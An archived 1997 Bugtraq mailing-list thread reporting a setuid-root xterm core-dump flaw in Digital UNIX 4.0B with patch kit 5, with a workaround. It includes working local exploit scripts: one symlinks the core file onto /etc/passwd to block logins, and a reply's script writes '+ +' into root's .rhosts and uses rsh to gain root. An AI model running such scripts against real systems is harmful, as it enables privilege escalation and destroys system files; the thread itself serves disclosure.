Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Unix :: Various Flavours :: digita~3.txt

Digital unix xterm security bug





Date: Wed, 12 Nov 1997 14:51:40 -0500
From: Tom Leffingwell <tom@sba.miami.edu>
To: BUGTRAQ@NETSPACE.ORG
Subject: Digital Unix Security Problem

        I tried reporting this to DEC, but because I didn't have a
software support agreement number handy, they wouldn't let me report
anything, then they placed me on hold for 30 minutes, then they
disconnected me.

Tip to DEC: Allow people to report security problems without paying for
            software support.  Or at least allow someone other than the
            designated contact to report security problems.

Version Affected:  Digital UNIX 4.0B *with* patch kit 5
                   Unpatched 4.0B is not vunerable to this particular
                   problem, but it is to others.

Impact:  Local users may overwrite system files, and possibly obtain root.

Problem:

        Patch kit 5 included a replacement xterm because the old one had a
bug, too.  They replaced it with another that had a bigger problem.  You
can cause a segmentation fault in xterm simply by setting your DISPLAY
variable to a display that you aren't allowed to connect to or one that
doesn't exist.  Start xterm, and you get a core file.

        Xterm is installed setuid root.  I'm not 100% sure what happens,
since DEC doesn't release the source for patches.  It does dump core at
XtOpenApplication(), however.

        Even with a buffer overflow, I've never seen anyone exploit on one
DU. If anyone has done so sucessfully, plese email me.  Despite that, a
person with basic knowledge of unix could easily do something like:

#/!bin/csh
cd /tmp
ln -s /etc/passwd /tmp/core
setenv DISPLAY abcdefghi
/usr/bin/X11/xterm

        The contents of /etc/passwd becomes xterm's core, preventing
further logins.  Obviously you could do things without an immediate impact
such as ln -s /vmunix /tmp/core.


Workaround:

        Needless to say, change permissions on xterm, have the users run
dxterm, its better anyway.

___________________________________________________________________

                          Tom Leffingwell
                        University of Miami
                       
b45
   (305) 284-1337

Systems Administrator                   Support Manager
Information Technology                  School of Business
Ungar 138                               Jenkins 314M
___________________________________________________________________
Date: Thu, 13 Nov 1997 11:32:23 -0500
From: Andrew Brown <codewarrior@daemon.org>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Digital Unix Security Problem

>        Even with a buffer overflow, I've never seen anyone exploit on one
>DU. If anyone has done so sucessfully, plese email me.  Despite that, a
>person with basic knowledge of unix could easily do something like:
>
>#/!bin/csh
>cd /tmp
>ln -s /etc/passwd /tmp/core
>setenv DISPLAY abcdefghi
>/usr/bin/X11/xterm
>
>        The contents of /etc/passwd becomes xterm's core, preventing
>further logins.  Obviously you could do things without an immediate impact
>such as ln -s /vmunix /tmp/core.

or...if the system you're on is actually running r-services, you could do

#!/bin/sh
DISPLAY="
+ +
"
export DISPLAY
cd /tmp
ln -s /.rhosts /tmp/core
/usr/bin/X11/xterm
rsh localhost

which sets the DISPLAY variable to an "admit all from all" line and
the core dump will go into root's .rhosts file.  then all that remains
is the rsh localhost and you're all set!

considerably easier than a buffer overflow exploit...

--
|-----< "CODE WARRIOR" >-----|
andrew@echonyc.com (TheMan)        * "ah!  i see you have the internet
codewarrior@daemon.org                               that goes *ping*!"
warfare@graffiti.com      * "information is power -- share the wealth."



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH